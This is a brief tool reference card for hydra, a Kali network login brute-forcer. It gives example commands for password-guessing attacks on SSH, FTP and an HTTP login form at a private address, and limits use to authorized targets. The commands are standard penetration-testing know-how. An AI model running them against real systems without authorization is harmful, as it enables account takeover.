thc-hydra (hydra)

Network login brute-forcer (Kali). thc-hydra is the legacy package name; the binary is hydra. Authorized targets with documented scope only.

$ hydra -l admin -P rockyou.txt ssh://10.0.0.5
$ hydra -L users.txt -P pass.txt ftp://10.0.0.5
$ hydra -l admin -P pass.txt 10.0.0.5 http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=invalid"